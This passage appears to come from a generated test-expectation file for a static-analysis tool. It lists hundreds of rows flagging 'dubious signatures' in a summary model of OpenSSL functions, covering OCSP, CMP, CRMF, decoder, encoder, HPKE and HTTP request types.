"(OCSP_BASICRESP *,int,int *,int *)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,int,int)" in summary model. | +| Dubious signature "(OCSP_BASICRESP *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(OCSP_CERTID *)" in summary model. | +| Dubious signature "(OCSP_CERTID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_CERTSTATUS *)" in summary model. | +| Dubious signature "(OCSP_CERTSTATUS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_CRLID *)" in summary model. | +| Dubious signature "(OCSP_CRLID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *)" in summary model. | +| Dubious signature "(OCSP_ONEREQ **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,int)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,int,int *,int *)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,int,int)" in summary model. | +| Dubious signature "(OCSP_ONEREQ *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(OCSP_REQINFO *)" in summary model. | +| Dubious signature "(OCSP_REQINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_REQUEST *)" in summary model. | +| Dubious signature "(OCSP_REQUEST **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,OCSP_CERTID *)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,X509 *)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,X509 *,EVP_PKEY *,const EVP_MD *,stack_st_X509 *,unsigned long)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,const X509_NAME *)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,const char *,const char *,const char *,const char *,const char *,int,stack_st_CONF_VALUE *,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,int,int *,int *)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,int,int)" in summary model. | +| Dubious signature "(OCSP_REQUEST *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(OCSP_RESPBYTES *)" in summary model. | +| Dubious signature "(OCSP_RESPBYTES **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_RESPDATA *)" in summary model. | +| Dubious signature "(OCSP_RESPDATA **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_RESPID *)" in summary model. | +| Dubious signature "(OCSP_RESPID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_RESPID *,X509 *)" in summary model. | +| Dubious signature "(OCSP_RESPID *,X509 *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(OCSP_RESPONSE *)" in summary model. | +| Dubious signature "(OCSP_RESPONSE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_REVOKEDINFO *)" in summary model. | +| Dubious signature "(OCSP_REVOKEDINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_SERVICELOC *)" in summary model. | +| Dubious signature "(OCSP_SERVICELOC **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_SIGNATURE *)" in summary model. | +| Dubious signature "(OCSP_SIGNATURE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int *,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **,ASN1_GENERALIZEDTIME **)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int,int *,int *)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int,int)" in summary model. | +| Dubious signature "(OCSP_SINGLERESP *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(OPENSSL_DIR_CTX **)" in summary model. | +| Dubious signature "(OPENSSL_DIR_CTX **,const char *)" in summary model. | +| Dubious signature "(OPENSSL_INIT_SETTINGS *,const char *)" in summary model. | +| Dubious signature "(OPENSSL_INIT_SETTINGS *,unsigned long)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,OPENSSL_LH_DOALL_FUNCARG_THUNK,OPENSSL_LH_DOALL_FUNCARG,void *)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,OPENSSL_LH_HASHFUNCTHUNK,OPENSSL_LH_COMPFUNCTHUNK,OPENSSL_LH_DOALL_FUNC_THUNK,OPENSSL_LH_DOALL_FUNCARG_THUNK)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,const void *)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,unsigned long)" in summary model. | +| Dubious signature "(OPENSSL_LHASH *,void *)" in summary model. | +| Dubious signature "(OPENSSL_SA *,ossl_uintmax_t,void *)" in summary model. | +| Dubious signature "(OPENSSL_STACK *)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,OPENSSL_sk_compfunc)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,OPENSSL_sk_freefunc_thunk)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,const void *)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,const void *,int *)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,const void *,int)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,int)" in summary model. | +| Dubious signature "(OPENSSL_STACK *,int,const void *)" in summary model. | +| Dubious signature "(OSSL_AA_DIST_POINT *)" in summary model. | +| Dubious signature "(OSSL_AA_DIST_POINT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ACKM *)" in summary model. | +| Dubious signature "(OSSL_ACKM *,..(*)(..),void *)" in summary model. | +| Dubious signature "(OSSL_ACKM *,OSSL_ACKM_TX_PKT *)" in summary model. | +| Dubious signature "(OSSL_ACKM *,OSSL_TIME)" in summary model. | +| Dubious signature "(OSSL_ACKM *,const OSSL_ACKM_RX_PKT *)" in summary model. | +| Dubious signature "(OSSL_ACKM *,const OSSL_QUIC_FRAME_ACK *,int,OSSL_TIME)" in summary model. | +| Dubious signature "(OSSL_ACKM *,int)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_CHOICE *)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_CHOICE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_ITEM *)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_ITEM **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_ALLOWED_ATTRIBUTES_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATAV *)" in summary model. | +| Dubious signature "(OSSL_ATAV **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTES_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTES_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_DESCRIPTOR *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_DESCRIPTOR **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_MAPPING *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_MAPPING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_MAPPINGS *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_MAPPINGS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_TYPE_MAPPING *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_TYPE_MAPPING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_VALUE_MAPPING *)" in summary model. | +| Dubious signature "(OSSL_ATTRIBUTE_VALUE_MAPPING **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_AUTHORITY_ATTRIBUTE_ID_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_BASIC_ATTR_CONSTRAINTS *)" in summary model. | +| Dubious signature "(OSSL_BASIC_ATTR_CONSTRAINTS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CALLBACK *,void *)" in summary model. | +| Dubious signature "(OSSL_CMP_ATAV *,ASN1_OBJECT *,ASN1_TYPE *)" in summary model. | +| Dubious signature "(OSSL_CMP_ATAVS *)" in summary model. | +| Dubious signature "(OSSL_CMP_ATAVS **,const OSSL_CMP_ATAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_ATAVS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CAKEYUPDANNCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_CAKEYUPDANNCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTIFIEDKEYPAIR *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTIFIEDKEYPAIR **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTORENCCERT *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTORENCCERT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTREPMESSAGE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTREPMESSAGE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTREQTEMPLATE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTREQTEMPLATE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTRESPONSE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTRESPONSE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTSTATUS *)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTSTATUS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CERTSTATUS *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(OSSL_CMP_CHALLENGE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CHALLENGE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CRLSOURCE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CRLSOURCE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CRLSTATUS *)" in summary model. | +| Dubious signature "(OSSL_CMP_CRLSTATUS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_PKIFREETEXT *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_PKIHEADER *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_certConf_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_log_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CMP_transfer_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_CRMF_CERTTEMPLATE **,OSSL_CMP_ATAVS **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,OSSL_HTTP_bio_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,POLICYINFO *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509 *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509 *,int,const char **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509_EXTENSIONS *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509_STORE *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,X509_STORE *,stack_st_X509 *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const GENERAL_NAME *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,int64_t,const char *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const X509 *,X509 **,X509 **,X509 **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const X509 *,const X509_CRL *,X509_CRL **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const X509_NAME *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const X509_REQ *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const stack_st_OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,const unsigned char *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,EVP_PKEY *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,const OSSL_CRMF_MSG *,int *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,int64_t)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,int,const OSSL_CMP_PKISI *,X509 *,const EVP_PKEY *,const X509 *,stack_st_X509 *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,int,int,const char *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,stack_st_X509 **)" in summary model. | +| Dubious signature "(OSSL_CMP_CTX *,void *)" in summary model. | +| Dubious signature "(OSSL_CMP_ERRORMSGCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_ERRORMSGCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_ITAV **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_ITAV *,ASN1_OBJECT *,ASN1_TYPE *)" in summary model. | +| Dubious signature "(OSSL_CMP_KEYRECREPCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_KEYRECREPCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG *,const stack_st_OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_MSG *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIBODY *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIBODY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,ASN1_UTF8STRING *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,const ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,const X509_NAME *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,const stack_st_OSSL_CMP_ITAV *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKIHEADER *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_PKISI *)" in summary model. | +| Dubious signature "(OSSL_CMP_PKISI **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_POLLREP *)" in summary model. | +| Dubious signature "(OSSL_CMP_POLLREP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_POLLREQ *)" in summary model. | +| Dubious signature "(OSSL_CMP_POLLREQ **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_PROTECTEDPART *)" in summary model. | +| Dubious signature "(OSSL_CMP_PROTECTEDPART **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_REVANNCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_REVANNCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_REVDETAILS *)" in summary model. | +| Dubious signature "(OSSL_CMP_REVDETAILS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_REVREPCONTENT *)" in summary model. | +| Dubious signature "(OSSL_CMP_REVREPCONTENT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_REVREPCONTENT *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_ROOTCAKEYUPDATE *)" in summary model. | +| Dubious signature "(OSSL_CMP_ROOTCAKEYUPDATE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,OSSL_CMP_SRV_delayed_delivery_cb_t,OSSL_CMP_SRV_clean_transaction_cb_t)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,const OSSL_CMP_MSG *)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(OSSL_CMP_SRV_CTX *,void *,OSSL_CMP_SRV_cert_request_cb_t,OSSL_CMP_SRV_rr_cb_t,OSSL_CMP_SRV_genm_cb_t,OSSL_CMP_SRV_error_cb_t,OSSL_CMP_SRV_certConf_cb_t,OSSL_CMP_SRV_pollReq_cb_t)" in summary model. | +| Dubious signature "(OSSL_CORE_BIO *,const char *,va_list)" in summary model. | +| Dubious signature "(OSSL_CORE_BIO *,void *,size_t,size_t *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ATTRIBUTETYPEANDVALUE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTID *)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTREQUEST *)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTREQUEST **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTTEMPLATE *)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTTEMPLATE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_CERTTEMPLATE *,EVP_PKEY *,const X509_NAME *,const X509_NAME *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCKEYWITHID *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCKEYWITHID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCKEYWITHID_IDENTIFIER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCRYPTEDKEY *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCRYPTEDKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCRYPTEDVALUE *)" in summary model. | +| Dubious signature "(OSSL_CRMF_ENCRYPTEDVALUE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG *,const OSSL_CRMF_CERTID *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG *,const OSSL_CRMF_CERTREQUEST *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSG *,const OSSL_CRMF_PKIPUBLICATIONINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSGS *)" in summary model. | +| Dubious signature "(OSSL_CRMF_MSGS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_OPTIONALVALIDITY *)" in summary model. | +| Dubious signature "(OSSL_CRMF_OPTIONALVALIDITY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_PBMPARAMETER *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PBMPARAMETER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKIPUBLICATIONINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKIPUBLICATIONINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKIPUBLICATIONINFO *,OSSL_CRMF_SINGLEPUBINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKIPUBLICATIONINFO *,int)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKMACVALUE *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PKMACVALUE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOPRIVKEY *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOPRIVKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEY *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEYINPUT *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEYINPUT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_POPOSIGNINGKEYINPUT_AUTHINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_PRIVATEKEYINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_PRIVATEKEYINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_SINGLEPUBINFO *)" in summary model. | +| Dubious signature "(OSSL_CRMF_SINGLEPUBINFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_CRMF_SINGLEPUBINFO *,int,GENERAL_NAME *)" in summary model. | +| Dubious signature "(OSSL_DAY_TIME *)" in summary model. | +| Dubious signature "(OSSL_DAY_TIME **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_DAY_TIME_BAND *)" in summary model. | +| Dubious signature "(OSSL_DAY_TIME_BAND **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_DECODER *,const char *,int *)" in summary model. | +| Dubious signature "(OSSL_DECODER *,void *)" in summary model. | +| Dubious signature "(OSSL_DECODER *,void *,const char *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,BIO *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,OSSL_DECODER_CLEANUP *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,OSSL_DECODER_CONSTRUCT *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,OSSL_DECODER_INSTANCE *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_DECODER_CTX *,void *)" in summary model. | +| Dubious signature "(OSSL_DECODER_INSTANCE *)" in summary model. | +| Dubious signature "(OSSL_DECODER_INSTANCE *,int *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,OSSL_ENCODER_CLEANUP *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,OSSL_ENCODER_CONSTRUCT *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,int)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,unsigned char **,size_t *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_CTX *,void *)" in summary model. | +| Dubious signature "(OSSL_ENCODER_INSTANCE *)" in summary model. | +| Dubious signature "(OSSL_HASH *)" in summary model. | +| Dubious signature "(OSSL_HASH **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,const char *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,uint64_t *)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,uint64_t)" in summary model. | +| Dubious signature "(OSSL_HPKE_CTX *,unsigned char *,size_t *,const unsigned char *,size_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(OSSL_HPKE_SUITE,unsigned char *,size_t *,EVP_PKEY **,const unsigned char *,size_t,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX **,const char *,const char *,const char *,int,const char *,const char *,BIO *,BIO *,OSSL_HTTP_bio_cb_t,void *,int,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,ASN1_VALUE **,const ASN1_ITEM *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,char **)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,const char *,const ASN1_ITEM *,const ASN1_VALUE *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,const char *,const stack_st_CONF_VALUE *,const char *,BIO *,const char *,int,size_t,int,int)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,const char *,int,int,int)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,int,const char *,const char *,const char *)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,size_t)" in summary model. | +| Dubious signature "(OSSL_HTTP_REQ_CTX *,unsigned long)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX *,GENERAL_NAMES *)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX *,int,void *)" in summary model. | +| Dubious signature "(OSSL_IETF_ATTR_SYNTAX_VALUE *)" in summary model. | +| Dubious signature "(OSSL_INFO_SYNTAX *)" in summary model. | +| Dubious signature "(OSSL_INFO_SYNTAX **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_INFO_SYNTAX_POINTER *)" in summary model. | +| Dubious signature "(OSSL_INFO_SYNTAX_POINTER **,const unsigned char **,long)" in summary model. | +| Dubious signature "(OSSL_ISSUER_SERIAL *)" in summary model. | +| Dubious signature "(OSSL_ISSUER_SERIAL *,const ASN1_BIT_STRING *)" in summary model. | +| Dubious signature "(OSSL_ISSUER_SERIAL *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(OSSL_ISSUER_SERIAL *,const X509_NAME *)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,BIO *)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,BIO *,uint32_t)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,const char *)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,const char *,size_t)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,const void *,size_t)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,int64_t)" in summary model. | +| Dubious signature "(OSSL_JSON_ENC *,uint64_t)" in summary model. | +| Dubious signature "(OSSL_LIB_CTX *)" in summary model. | +| Dubious 